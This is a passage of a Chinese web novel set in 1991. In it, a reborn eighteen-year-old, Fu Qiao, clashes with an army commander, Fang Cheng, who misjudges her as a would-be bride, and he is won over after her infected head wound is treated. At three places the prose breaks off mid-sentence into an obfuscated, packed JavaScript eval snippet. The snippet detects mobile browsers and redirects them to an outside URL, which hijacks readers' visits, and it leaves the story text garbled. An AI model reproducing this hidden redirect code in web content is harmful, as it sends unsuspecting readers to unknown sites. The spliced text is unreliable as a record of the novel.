“这个你别急,房间我已经安排好了。人家小姑娘这么大老远过来,好歹先见一面,坐下来说说话吧?一来就把别人晾在一边,可不是部队的待客之道。” “少贫嘴。” 方承的五官都皱成了一团,“部队有什么客人可招待的?你当这里是菜市场卖菜呢?快把人领走领走……” 傅俏看着这两人光明正大地咬着耳朵,忽然有种自己成了空气的感觉,不,甚至连她也变成了“第四个人”,在静默地注视着自己。 命运仿若丝线,紧紧缠绕在周身,然而线头却在别人手中。 额角的伤口一阵阵跳着发痛,她的心底也没来由地升起一股恼火,恨不得此刻就有把剪刀在眼前,好将这些丝线通通绞断。 “方连长。” 始终没出声的傅俏忽然唤道,两位军官顿时停了对话,目光不约而同地转向了她。 “很抱歉。明知道你不想见我,可我还是来了。” 小姑娘一句话说得轻描淡写,既听不出多大的歉意,也听不出什么委屈,更没有什么愤慨,平淡得宛如一碗白开水。 贺逑闻言,脸色微变,眼神不自主地往方承的方向飘去。 方承一怔,旋即又皱紧了眉头,“你现在说这个有意义吗?” “对您或许没意义,但对我来说,很重要。” 傅俏说着将视线转向了贺逑,语气轻柔:“指导员,能让我和方连长单独说几句话吗?” “啊?啊!可以可以!” “不不不!等会儿,你别走!” 方承一把拽住已经动身了的贺逑,黑着脸冲着她道:“你凭什么指挥他啊?有什么事不能大大方方当着人面说?你要想说什么就现在说,不说就永远别说。” 傅俏停顿了半晌,目光在两人之间来回打转,倏地轻笑了一声。 “好啊。方叔叔他…” “你等会!” 方承大喝一声,放开了辖制贺逑的手,支吾道:“老贺,这么晚了,你先回屋休息…” 贺逑一脸“早该如此”的表情,临走前拍拍了他的肩头,嘱咐道:“好好聊,好好说话。” 门锁落下。 她舒了长长的一口气,仿佛要把胸膛里所有的气就此呼出。 方承送走了“外人”后回转,直接站到了傅俏面前,居高临下地看着。 “说吧。” 他生得人高马大,宽肩阔背,窄腰长腿,往人跟前一戳,完全能够将她彻彻底底地遮住,压迫感十足。 傅俏微微蹙起了眉头,挪开步子,走出了他身影笼罩范围。 “我可以先问问,您这么抵触我的理由吗?” 在电话里的时候,他就已经毫不掩饰地向自己表达过反感,如今见了面,简直是变本加厉。 “你说呢?”方承环抱着双臂,不耐烦的情绪几乎要从身上满溢出来。 “我好像没有做错过什么。”她试探道。 他昂着头,眼神在屋内左顾右盼地游离,就是不愿意稍微往下几寸看她, “没做过?”方承顿觉荒谬可笑,“你要什么都没做过,我爸会知道你是谁吗?” 傅俏哑然,“我只不过想拜访一下父亲的老朋友,这也不可以吗?” 他闻言转过脸,目光随意地上下将她打量了一番,哂笑道:“早不拜访,晚不拜访,偏要在这个时候拜访?你是才和我爸联系上的吧,之前没都没听说过你?” “现在这个时间有什么不妥吗?” 她不住地在脑海里回忆着与方振邦的交谈过往,确定所有的时间安排都是他定下的,自己根本没有提出过半点反对意见,不禁感到一阵疑惑。 方承见她仍在装傻充愣,最后一点耐性也被消磨殆尽,直白道:“有什么不妥你心知肚明,别在这里演戏了。我很忙,没兴趣大晚上在这里陪你打哑谜。你想见我,现在也已经见到了。今晚我留你一晚,明天就回去吧。” 说罢就懒得再和她废话,利落地迈开两条长腿朝门口走去。 “喂?你!等等!” 傅俏闪身小跑到了他的跟前,将人拦下。 他忍不住翻了个白眼,目光直直地越过她,盯着会议室的大门。 “方连长,我来到这里也不容易,不能走得不明不白。” 心脏在胸膛里打鼓,伤口处的刺痛也随着心跳的节奏。 “您是军人,应当也是直爽豪率的,有什么话请直说就是。不管是因为什么原因讨厌我,或者觉得我不适合见方叔叔,大都可以明讲。” 原因,她太需要这个原因了。 只要找不到这个原因,方承对自己的偏见就会始终存在,那她与方振邦之间的沟通就会一直存在问题。 纵使方振邦与傅修齐是生死之交,情深义厚,又哪里架得住老婆儿子一起上眼药? 别到时候费劲千辛万苦见到了他,他却不愿意给自己帮忙解决异地复读的事情了,怎么办? 方承道:“我不说,是在给你留面子。大姑娘家家,多少也知羞吧。” 他说完就无视傅俏的拦阻,叫来了一个士兵。 “一班长!把人送到营区东边的招待所,报指导员的名字,路上嘴严点,少打听。” 而这位一班长完美遵循了主官的指示,二人一路无言,仿佛是两个哑巴。 其实今晚的月色很好。 万籁俱寂的时刻,天地间好像所有生灵都已陷入了沉睡。洗漱完的傅俏坐在窗前,静静地望着天上明月。 老实说,像方承这样厌恶到极致,直接把她当空气的感受,不管是前世还是现在,她都很少体验。 傅俏漂亮的客观,根本不容忽视,她的智慧更是让她在千军万马过独木桥的高考中脱颖而出,赤手空拳地为自己搏出一份家业,从一无所有到应有尽有。 在前世的二十七年里,有人爱她,有人恨她,有人喜欢她,有人讨厌她,有人羡慕她,有人嫉妒她,不论是哪一种情绪,大家都无可避免地将注意力放到她的身上。 唯独方承。 他高傲得目空一切,自己的所有好像根本入不了他的眼。 她真讨厌方承。 月光照了满怀,恍惚间有一瞬,傅俏不知道自己看的是1991年的月亮,还是2026年的月亮。 脑子里一团乱麻,千头万绪。 为什么?为什么方承会那么讨厌自己?现在这个时间到底有什么不妥?自己跑来找他,就是不知羞吗? 还是说,是他的母亲在挑拨离间,向他灌输了什么想法? 倘若是方母从中作梗,她又该怎么做呢? 索性向他摊牌,将一切来龙去脉说清楚,直接求他帮自己在陵州一中办理借读,解决复读的问题? 这样的话,方承信与不信且不论,一定会把马家牵扯出来,而她已经答应过马明远,甚至连陵州一中都还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464561|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在临来向他打听到的… 若是方承信了,照他这种眼里揉不得沙子的个性,难保不会闹个天翻地覆。 若是方承不信,这一大通曲折离奇的故事,说来倒有刻意卖惨的意思,反而更令人生厌。 她不禁又想起了方振邦。 归根结底,是方振邦的态度。 傅俏在接到方承电话之后,她也尝试过再给他打去过,可接电话的人是阮红,只说方振邦外出公干,她事情都是他直接和方承安排的,自己并不清楚太多。 那方振邦对自己究竟是真心实意,还是逢场作戏? 时至此刻,她更倾向于虚情假意,客套而已。 傅俏阖上眼,长长地叹息一声。 这或许就是给自己的一个教训。 她早该明白的,这个世界上,连亲生父母都会抛弃骨肉。人群熙攘往来,不过图利而已,自己活了两辈子,吃过的亏还少吗? 怎么还会像着了魔一样把希望寄托在别人身上? 随着思绪飘散,傅俏就这么坐着,任由视线在夜空里无限延伸。 她取了帽子,洗过澡,如瀑的长发几近及腰,额前的伤口也直接暴露在了空气中,被汗水打湿的污脏纱布丢进了垃圾桶里,狰狞的缝线痕迹蜿蜒,宛如一道丑陋的纹身。 待晨光破晓,一轮红日从云层后露头时,傅俏惊觉自己竟枯坐了整夜。 洗漱整齐,戴上帽子,刚一下楼,迎面就撞见了昨夜送她回来的一班长,手里还提着铁皮饭盒。 他是个性情温和的人,一见傅俏的露出了个笑脸,大白牙格外醒目。 “小傅同志,早上好。” 她也点头示意,“早上好。” “这是连长交待给你留的早饭,让我帮忙送来。”他将饭盒放在了前台的台面上,“另外…连长说,麻烦您给一下身份证,他好帮你买票。” 傅俏淡然一笑,从衬衣口袋中取出身份证递了过去。 这趟折腾总算有个好处,就是拿回了自己的身份证件。 崔言双手接过,粗略瞟了一眼证件上的信息,惊喜道:“诶?小傅同志,咱俩是同一天生日啊!都是10月25,不过你是73年的,比我小了五岁。” 他笑着将证件放进常服的上衣口袋收好,仔细地扣上纽扣,看着面前的小姑娘感叹:“你个儿可真高。” “遗传而已。” 傅俏内心对这位认真周到的士兵还是很有好感的,昨天都那么晚了,他还是坚持帮自己打了两满瓶热水再走。 想着自己或许就此再也不会与他见面,便朝他伸出了手,“很荣幸和人民解放军战士同一天生日,提前预祝你生日快乐。” 崔言一怔,反应过来的第一时间却是啪地立正,敬了个军礼。 “谢谢。也祝福你一切顺利,小傅同志。” 他很快就带着傅俏的身份证回到了连部。 “报告!” “进来。” 一推开门,方承正坐在办公桌前看文件,一见来人就拧起了眉头。 “你这是路上捡着钱了?去拿个身份证乐什么劲?” 崔言的嘴角依旧上扬着,一边往外拿身份证一边道:“不是。连长,这小傅同志和我还真有点缘分,我们俩是一天的生日,不过她比我小五岁。” 方承鄙视地瞧着自己这个兵傻乐的样子,顺口接道:“同一天生日的人多了,医院一天多少人生孩子啊,个个都有缘吗?小五岁…” “等会儿…她小你五岁?!” 他像是意识到了什么,一双大眼睛登时瞪得溜圆,直勾勾地看向崔言。 “她才十八岁?!” 崔言愣了愣,“没错。她身份证上面写着出生年月呢。” 十八岁! 他爸就算再糊涂,也不会找个十八岁的来,这么小的姑娘,怎么可能是相亲对象?! 15. 换药 清晨的阳光明媚得恰好,习习凉风吹过,空气清新宜人,正合适在户外活动。 傅俏索性坐在院中等着崔言送还证件,空坐无聊,顺道又从招待所前台的报刊架上取了份报纸,悠闲地读了起来。 赵英一来,抬眼就瞧见了昨晚在营区门口那个差点一头撞进自己怀里的小姑娘。 她仍带着那顶米白色的盆帽,整个人都沐浴在阳光之中。长发没有像之前那样编成辫子,而是自然柔顺地散落在周身。浅鹅黄的薄衬衣几乎与光线相融,仿佛给她镀上了一层淡柔的光,仅露出的一截小臂和颈部修长雪白,耀得晃眼。 他望了两眼,只见她全神贯注地看着报纸,似乎并没有注意到有人出现,便没有打扰,径直往楼里走去。 过了约莫十分钟,他出来时,傅俏正将报纸放下。 赵英的脚步顿了顿,转向她走去。 “你好啊,小同志。” 傅俏闻声抬头,突然变得明亮的光线刺到了她的眼睛。 缓了一会适应光线后,她才看清了来人。 “是你?” 赵英看见小姑娘的脸上露出惊讶的神情,嘴角泛起笑意,“是我。自我介绍一下,一营六连,赵英。” 傅俏前世曾接过军工的订单项目,对军衔制度有点粗浅的了解,见对面这位红肩章上明晃晃的一杠三星,心里便知道他估计和方承一样,也是位连长。 “您好,赵连长。” 她站了起来,简单地介绍了自己,“我姓傅,叫傅俏。” “怎么自己坐这儿看报纸?老贺呢?”赵英以为她是贺逑的亲属,于是问道。 “哦。”傅俏眨了眨眼,“我今天打算回去,指导员帮忙买票去了。” 赵英略感意外,却也没多问,笑着道:“那祝你一路顺风。” 傅俏点了点头,忽然一阵大风吹过,吹落了她的帽子。 这顶帽子是傅秀淘汰的,比她的头围大了不少,很容易戴不住。 她不自禁地“啊”了一声,立马俯身去捡帽子。 有人快她一步。 赵英拍了拍土,再次将帽子递回,玩笑道:“看来我和你这顶帽子气场不合,它一见我就想跑。” 傅俏心下一紧,赶忙用手捂住伤口,只着急拿回帽子,根本没在意他说了什么。 “谢谢。” 伸手接过帽子戴上,手一放下,那道可怖的缝线伤疤就露了出来。 虽然她已经尽量地加快速度,但还是被眼尖的赵英瞟见了。 “等等!你这额头怎么回事?” “没什么,不小心碰的。”傅俏匆匆道,连忙退出好几步,似乎很不想别人瞧见。 赵英以为是小姑娘爱俏怕羞,耐心劝道:“我记得昨天你头上就有纱布,没想到伤得这么严重。天气热,伤口不能捂着。刚才我看都已经感染发红肿起来了,得赶快处理。我带你去趟卫生队吧?” “不必了,赵连长。我还要等人,走不开的。” 虽然伤口疼了一夜,她仍不想在这里处理,左右一会儿就要离开了,等上了车多补一站票,直接坐到沪市去,再找医院换药也行,反正也死不了。而军营中环境闭塞,一旦有什么风吹草动就会传得人尽皆知,对于已经拿定主意再不想与方家往来的傅俏来说,并不希望自己成为一时的谈资。 “处理下伤口而已,能要多久?”赵英关切道,“你要担心,我待会儿找人去和老贺说一声就是。” 傅俏无奈,苦笑道:“赵连长,您的好意我心领了,真的不用麻烦了。” 赵英张口还想再劝,院门处却突然传来一声。 “老赵?!” 相持的两人听见这一嗓子俱是一顿,纷纷朝门口看去。 只见方承今天也是一身常服,戴着大檐帽,军徽在阳光的照耀下熠熠生辉。 赵英看清来人相貌,脸上一喜,对她道:“瞧,人来了。我和三连长说一声,让他转告给老贺就是了。” 傅俏猛摆手制止,话还没来及出口,就见他兴冲冲地向方承迎了上去。 “老方,你来得正好。老贺他怎么接待亲属的?把人撂这儿就不管了,脑袋上那么长的伤口也不给处理,都发炎了。和他说一声啊,这小姑娘我先领走了,把伤包好了再给送回来。” 他这噼里啪啦地说了一通,直把方承听得傻眼了,怎么还有伤口这一回事?赵英什么时候认识得她? “诶诶,先别急。” 方承长臂一揽,阻了赵英一步,将错就错道:“那什么…老贺就是因为这事儿让我来的,待会我带她上卫生队去。你到这儿干嘛来了,你忙你的,别耽误了。” 赵英将信将疑地看了他,直觉告诉他这事没这么简单。但这说白了这也是别人家的家事,自己管得太宽也不像样,遂说道:“昨天不是送我姐回去吗,到家之后她才说好像落了把梳子在招待所,让我来找找看。我找了一圈也没有,估计是记错了。” 说着拍了拍方承的手臂,“既然你来了,这里也没我什么事,先走了。” “再见,小傅同志。”他又回头朝傅俏挥了挥手道了声别。 她也挥了挥手。 随着赵英离开,院内就只剩下了两人,一时满场寂静无声。 “咳。” 略显尴尬的方承决定还是由自己开头,想着先说些什么缓和下气氛,便问道:“你怎么会认识六连长?” 傅俏没了求人的心思,态度自然不比昨晚,瞅了他一眼,淡然道:“昨晚在营区门口认识的。我等得睡着了,是他叫醒了我。” 方承顿时语塞,缓了好几秒,诚恳道:“对不起,我向你道歉。昨天让你等得太久了。” 她别过脸,语气依旧不咸不淡,“没关系。” 见人这幅态度,他的心里不免也有些打鼓,无数个疑问像蝴蝶似地堵在嗓子眼里,却不知道该先问哪一个。 “那…那我们走吧?”方承道。 傅俏以为是去车站,朝他伸出手,“麻烦把方连长证件先还给我吧。” 眼前的右手修长而纤细,食指和中指的第一个指节处都有层薄茧,一看就是因为长期握笔书写导致的。 有这种茧形的人,通常都是学生。 方承倏然间感觉嗓子有些发紧,像是里面的蝴蝶要飞出来。 “不着急。” 他的喉结滚动,“你,你的伤…” 傅俏打断道:“我的伤和方连长没关系,不劳您费心了。” “不行。”方承又皱起了眉头,下意识地反驳道。 话刚出口,他立马察觉到自己的语气不对,旋即放低了姿态,“我的意思是,是…健康是第一位的。不论有没有关系,关爱同志都是应该的。” 她不知道方承大早上吃错了什么药,或者哪根神经搭错了,突然开始对自己献起了殷勤。可能是方振邦听到了什么风声敲打了他,也可能是良心发现。 不管是哪一种,傅俏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469840|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没兴趣再继续纠缠下去。 “方连长,这种话就不必说了。反正你我是两看两相厌,还是早点让我走吧,也算是对我对你都好了。” 方承闻言,知她是铁了心急着要走,怕是自己说再多好话都无用,略一思忖,正色道:“想走也可以,先和我去趟卫生队。否则,你今天就走不了。” “你?!” 傅俏气得柳眉倒竖,但毕竟着人在屋檐下,也不得不忍气吞声。 “好,我跟你走。” 方承很快就将她带去了卫生队,一路上好奇的探究目光不少,通通都被他挡了回去。 卫生队距离连部不远,是一栋单独的平房建筑。一进门,淡淡的消毒水气味扑面而来,竟让傅俏莫名地生出一种熟悉感。 里面很安静,只有个年轻的医生在值班,正不知在写着什么,听门口响动便抬起了头,一见进来的是方承,立刻起身道:“连长。” “嗯。” 方承回了个礼,侧身让出身后的傅俏,“小许,给她看看额头上的伤,换一下药。” 小许护士这才注意到连长身后还跟着个人,居然还是位很年轻的漂亮小姑娘。她眼神里瞬间闪过一丝惊讶和好奇,很快又被职业态度取代。 “是!请这边坐。” 傅俏依言在诊疗椅坐下,小许护士戴上了手套,举着双手道:“麻烦你把帽子摘一下吧。” 她似是有些为难,轻咬住唇瓣,犹豫着慢吞吞地从头上取下了盆帽。 在看清伤口情况后,小许愣了愣,方承的脸色也在一瞬间变得凝重。 一道有食指长的伤疤,缝合了足足七针,伤口通红,肿胀反光,甚至隐隐还有渗出液。 “这伤怎么弄的?这么深的伤口,你怎么能戴着帽子捂住呢?为什么不包扎?现在都已经感染发炎了!” 医生最不喜欢的就是不听话的病人,眼前这一塌糊涂的伤口简直让她看得血压节节攀升。 “…我走路不小心,撞桌角上了。”傅俏答道。 “撞桌角上?” 小许仔细地查看着伤口,上手轻轻按了按,不知是信了还是没信,说道:“那你真是够不小心的,这得使多大劲才能撞这么深。” 傅俏干笑两声,没有说话。 方承在旁边看得直皱眉头,问道:“怎么样?严重吗?” 小许越看表情越是严肃,“现在看来挺严重的,伤处又在头部,血流丰富更要注意。我看得拆开缝线清创,再输液控制感染。” “啊?”她略有些着急,“那这得多久?” 小许正要回答,方承却道:“你好好处理,伤口要紧,不用担心时间。” 傅俏听得心口直堵,开口就想问他凭什么对自己的事情横加干涉,擅自做主。 此时小许道:“是,连长。” 她又生生把到嘴边的话给咽下去了。 傅俏前世称得上是资深牛马,清楚自己若是这个时候和方承吵起来,为难的反倒是夹在中间的小许医生。对于打工人的痛苦她是深有体恤,并不想自己如今也变成给别人添麻烦的人。 小许医生说罢便转身进了后室备药,屋里又只剩下了她们两人。 气氛再度陷入沉默,仿佛空气都流动都变得迟缓,傅俏鼻尖的消毒水味复加浓郁起来。 方承的目光凝注在她额角的伤口,也不知他这样若有所思地看了多久,忽然间没头没脑地来了句。 “很疼吗?” 16. 争执 方承知道很多人都默认军人们拥有钢铁意志,对疼痛并不敏感。 但其实他们自己清楚,钢铁意志不代表钢铁之躯。对于受伤几率远高于常人的军人来说,他们反而更清楚不同伤口所带来的影响,和要克服忍受怎么样的痛觉。 所以在看到傅俏额间伤的那一刻,他的呼吸倏地一窒,胸口也是一紧。不敢相信她居然是带着这样的伤口,于酷暑盛夏中一路从苏城颠簸而来,又被晾在营区门外等了好久。 即便如此,她在面对自己时依旧彬彬有礼,哪怕是受了委屈也没有诉苦,没有愤怒,甚至没有对自己提出任何要求。 眼下的方承已然彻底否定了方尧那什么狗屁相亲的说法,没有一个十八岁的小姑娘会受这样的罪千里迢迢地来相亲,大不了晚些日子等方振邦回来之后再见面就好,她肯定是遇到了什么要紧事。 至于母亲说的关于傅俏的事情一切由父亲安排,现在仔细想来也完全不是当初想的那么一回事。 可能就只是单纯因为她对父亲的老战友了解不多,而父亲又决意这次会面由他安排,所以才会有亲自打电话给自己,而母亲又知之甚少的情况出现。 不得不说,方承七七八八分析下来,几乎已经接近真相。 傅俏听他问话后久久不语,以为是在一直等着自己回答。 “不疼。” 她顶着伤口说得云淡风轻,脸上瞧不出一丝伪装。 这是方承第一次正眼去观察傅俏的面庞,昨晚依稀瞧了个轮廓,只记得她身形瘦削,细细长长跟条竹竿似的。 他说道:“说谎。这么长这么深的伤口,怎么会不疼?” 傅俏不想争辩,“你说什么就是什么吧。我反正习惯了。” 小许回来了,手上端着托盘。 她动作麻利地戴上手套开始摆弄器械,一边嘱咐道:“我先给你拆线清创,过程会有些痛。你忍着点,不要乱动。” “好。”她应下后便老实保持着固定姿势,一动不动。 咻啪,咻啪,几剪子下去,缝线断成几截。小许用镊子夹住线头,开始小心翼翼地从肿胀的皮肉中将已经污染的丝线给拽出来。 果然很痛。 比缝针更上一层楼的痛觉使得傅俏无声地张开了嘴,霎时泪眼婆娑。 方承见她眼角泪花闪闪,仍咬着牙不吭声,忍不住说道:“轻一点。” 傅俏闻言两眼一黑,简直不明白他的脑子到底是在想什么。 医生又不是虐待狂,没道理会故意使劲乱动让患者受罪,在别人正常操作的时候说这种话,除了让自己显得很无理取闹之外,起不到任何实际意义。 小许是今年新分到连的医生,平时和连长接触得不多,素日里却久闻他带兵严明的威名。加上方承牛高马大的形象和他现在这幅苦大仇深的表情。这句话一出,宛如一声严厉的命令,她的手不由得抖了一下。 缝线骤然抽出,傅俏疼得一激灵,泪珠直接从眼眶中跌落,紧握的双手骨节处也泛出青白。 她不禁怀疑这就是方承的真实目的。 但她依旧没有出声,也没有动,只是继续咬紧了牙关,感受着镊子在额前取线,生理盐水数次冲洗感染的区域,刺痛连绵不绝,直往皮肉深处钻去,碘伏一圈圈环绕着伤口擦拭。直到最后覆盖上无菌纱布,傅俏才终于舒了口气。 “谢谢。你的手法真好,一点儿也不疼。” 对于医生这种需要练习才能升级,又与自己生命息息相关的职业,她向来不吝赞美。 傅俏扬起头,朝小许医生露了个大大的笑脸,或许是刚流过泪的缘故,一双眼睛湿漉漉、亮晶晶的,很是招人喜欢。 “不用谢。”受到夸奖的小许医生瞬间忘记了刚才的不愉快,笑得腼腆。 连一旁看着的方承也不自知地微微勾起了唇角。 “你坐到留观室去吧,等会还得输液。” “等等!”她喊住了医生。 小许医生疑惑地看着傅俏,不明白她什么意思。 “我…” 她说着望向了方承,问道:“方连长,您帮我买到票了吗?方便告诉我是几点钟吗?” 真是一文钱难倒人。 要不因为想多留些钱在身上,她何必等着别人给自己买票,自己早买上票走了,怕是现在都已经坐在火车上了。 方承不自然地清了清嗓子,“一班长打电话去问了,具体情况还不清楚,先处理你的伤口吧。” 眼见着少女的脸色骤变,一副欲言又止的神情,似乎费了好一番力气才将原本想说的话压下,最终只道:“好,麻烦方连长帮忙留意。我尽快离开,也算了结您的一桩心事。” 傅俏留在了卫生队输液,他也回到了连部。 那张薄薄的卡片就端端正正地放在自己的桌上,方承拿起证件,照片里的小姑娘梳着两条麻花辫,天真柔和,稚气未脱。 与他所见到的那个心事重重、坚毅倔强的傅俏似乎相同的只有相貌,气质却截然不同。 办理这张证件的时间不过是三个月前,仅仅三个月时间,怎么会发生这么大的变化? 方承想不明白,或者说他不愿相信自己的猜想。能让人在极短的时间里快速成长,发生翻天覆地变化,通常只有生老病死这样的重大变故。 如果真的是这样,那自己所作所为算什么?岂不是太过分了? 他想再留她一天。正如昨夜说的,她不能不明不白地来,不明不白地走。 他必须要弄清楚,傅俏找上父亲的真实原因是什么。 但凡有任何他能出得上一份力的,他一定要帮到底。 输液管里的液体滴滴答答,墙上挂钟的指针也在滴滴答答,一圈又一圈,很快时针就指向了十二。 整个留观室里空空荡荡,除了对着天花板发呆的小傅同志,就再没有别的会喘气的常温动物存在了。 小许医生去打饭了,临走前说帮忙带回来一份。毕竟针头还在插在手背上,她也没法到处走动。 忽地门口传来响动,傅俏立时看去。 “一班长?” 崔言见小姑娘吃惊的模样,微笑道:“对啊。小傅同志,连长让我给你送饭来。” 他提着熟悉的铁皮饭盒,拉过一张板凳放在她的面前,细致地拆开,整整齐齐地摆好。 傅俏有些不好意思地看着他忙活,想要帮忙却插不上手,“你们连长怎么自己不来?总是使唤你算什么?哪儿这样的主官?” 崔言仍在笑,好声好气地替方承解释道:“最近事情特别多,连长忙得团团转。不过这饭盒是他亲自装的,只是团部临时来人找他去一趟,他自己连饭都没吃完。正好我就在旁边,是我主动要求来的。” 她撇撇嘴,嘟嘟囔囔道:“我早上看他挺闲的。” 不过在对上崔言时,傅俏倒是笑意盈盈的。 “一班长,谢谢啦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他们都挺听我的。”崔言温柔笑道。 傅俏感叹,“嗯,士为知己者死。像你这样的人,才适合当领导呢。” 崔言开始替方承说起了好话,“我们连长很好的,你和他多接触接触就会知道了。” “饶了我吧,我可高攀不上方连长。等今天离开之后,估计这辈子也不会再和他有什么交集了。” “今天?”崔言不解,“连长不是说先不买票吗?” 话音未落,傅俏拧着眉反问:“为什么不买票?你们连长不是说今天就让我走吗?” 见她这副模样,崔言立时明白自己说错了话,但这其中的弯弯绕绕他又实在不明白,不知道该怎么回答才好,嘴巴开开合合几次,到了也没说出半个字来。 “我的身份证呢?”她紧紧盯着他,追问道。 他直言道:“在连长那里。” 傅俏闻言,登时直觉急火攻心,不得不暂时闭起双眼,紧抿双唇,缓了好一阵,才勉强压下火气。 随着慢慢睁开眼,她道:“我不要方连长帮忙买票了。我只要身份证,一班长,麻烦等你们连长回来后转达他一声。就说我什么都不需要,只求他把证件还给我。” 17. 真相 燕都的夏日昼长,待到夜幕初降,已经是晚上七点多钟了。 恰巧是方尧在家的时间。 方承刚从团部回来,贺逑此时不在。他看着桌上的电话,又抬手看了眼手表。 “喂?妈。是我,嗯…我都好。方尧呢?叫他来接电话。没什么,随便说几句。” 他把电话打回了家里。 “喂,哥。”方尧的声线跳脱,听着心情很是不错的样子。 方承的眸光暗了暗,懒懒说道:“这几天爸不在家,你小子放羊。快活了?” “嘿嘿。” 他笑了两声,竟不要命地反问起了傅俏的事情。 “你的相亲对象怎么样?是不是不敢来啦?还是说你把人给直接轰回去了?” 方承哂笑,故意道:“嗯,她过来了,我见到了。爸的眼光真不错,容光照人的大美人儿,又不娇气。好,我觉得好。” “什么?!” 方尧惊叫起来,惹得阮红都跑来询问是不是出了事情,好不容易被他乱说一通才敷衍了过去。 “你…你…哥,你,你开玩笑吧?”他吓得嘴皮子都直哆嗦,“你不会,不会真的看上她了吧?你,你不能看上她啊!” 方承故意道:“为什么啊?我就看上了,一见钟情,怎么了?” “她,她…她是来攀高枝的!”方尧追问,“你不是最讨厌这种人了吗?” “讨厌?”方承哂笑,“我看是你讨厌她吧?” 方尧闻言顿时慌了神,支支吾吾地不敢说话。 他虽是个混不吝的,却也不是傻子,知道惹事的限度。这事要是捅到父亲那里,再有方承在后面等着…… 方尧觉得自己会“死”得很难看。 他只好在心底里不住地斥骂傅俏不要脸,竟真的敢独自一人闯到陵州去。 “我怎么会?”他仍嘴硬道。 方承现下没了耐心,严肃道:“我给你最后一次机会,说实话。” “……” 电话那头久久没有回复。 “行,不说视同认罪。你等着吧,我这周就请假回来扒了你的皮!” 方尧急了,立马道:“哥哥哥!我说我说!” 有句话怎么说来着,父母打你,往往还存在吓唬的成分,哥哥姐姐动手,那是真照死里打。 “说。” 一个字的命令出口,他知道方承这是动了真怒。 “她,她的确是爸老战友的女儿。只不过…爸没说让她做儿媳妇,就只是想把她接到家里来照顾。爸怕小姑娘年纪轻,一个人赶路不安全,就说你离得近,让你帮着护送来。至于原因嘛…我也没听得太清楚,好像是什么她爸牺牲了,妈妈也改嫁了,家里有了什么变故之类的……” 方承越听心越凉,连背脊骨都透着寒意。 “你保证这次说得是实话?” “我保证!” 方尧赶忙借此机会赶快为自己争取点好感分,“哥,其实我对你…嘟嘟嘟…” 他直接挂断了电话,撑着桌子在原地站了接近有五分钟之久。 自己都做了些什么? 也是…如果不是生活所迫,谁愿意千里迢迢跑来受自己的闲气? “报告!” 一阵敲门声随之响起,方承听出了是崔言的声音。 “进来!” 门应声而开,一道橄榄绿的身影出现。 “连长。” 崔言见了他,脸上的神色似乎有些为难,“小傅姑娘…还在卫生队等着呢。” 方承本就打算过去,听到这话,立马拿起桌上的帽子就往屋外去。 “诶诶,连长连长!” 崔言两步三步地半拦住了他的去路,他刚皱起眉头要开口,却只见对面人扯出一份变扭的笑脸,斟酌着说道:“那个…她说不想见您,只想让您把身份证还她。” 搁在以前,甚至是半个小时前,方承肯定会不管不顾地冲过去,势要和人当面把话说清楚。但眼下听到这个要求,他竟出现了一瞬间的无措。 因为她不想见自己太应该了。 “啊,啊。” 方承失去重心般地往后退了两步,皮鞋踏在地板上,发出清脆的两声声响。 “她…她伤怎么样了?午饭和晚饭都吃了?” 崔言被这突如其来,又风马牛不相及的问题闪了一下,随即反应过来答道:“伤口重新包扎,已经输完液了。午饭吃了,晚饭没吃。” “怎么不吃晚饭?” 方承宛如一个迷路的旅人在此刻忽然找到了方向,一个劲地说道:“不吃饭怎么行?是不是晚上的菜她不喜欢吃?我这…我记得还有罐头。你等等啊,我去拿…” 当看见崔言叮呤咣啷地拎着两大兜罐头出现在自己面前,笑得有几分心虚时,傅俏就知道他没能拿回自己的身份证。 “这是连长给你拿的罐头,他听说你没吃晚饭可着急了。你看看,有黄桃,橘子,还有牛肉,红烧肉…” 她瞧着他略显笨拙地介绍着罐头,心中虽然失落,但也早清楚这事的关键在于方承,他纯粹只是为了帮自己的忙而已,跑这一趟,讲不好还挨了顿暴躁方连长的教训。 事已至此,生气伤心也没用了,左右今天是肯定走不成了。 傅俏轻笑,充分发挥苦中作乐的精神,问道:“一班长,你喜不喜欢吃罐头?” 周六的晚上,整个卫生队都吃了顿“罐头宵夜”。 她将方承送来的罐头全部分了出去,特意单独装了碗黄桃罐头给崔言。 “肉的分光了,只留了碗黄桃罐头。你不会生我气吧?” 崔言知道她在和自己开玩笑,依旧诚实答道:“哪儿能啊,我就喜欢吃这黄桃罐头,比肉好吃。” “你是东北人吗?”傅俏问道。 崔言:“是,我是铁岭的。” 她点了点头,“那就好。今天还不算太糟糕,挺开心的。” 崔言不解,明明在他看来这一天里发生的所有事情都没有朝着傅俏希望的方向发展。 “有什么值得开心的?” 她端起水壶喝了口温水,悠悠道:“虽然没能走成,但头上的伤及时处理了,还请大家吃了顿罐头。尤其是你这位东北人吃到了黄桃罐头。” 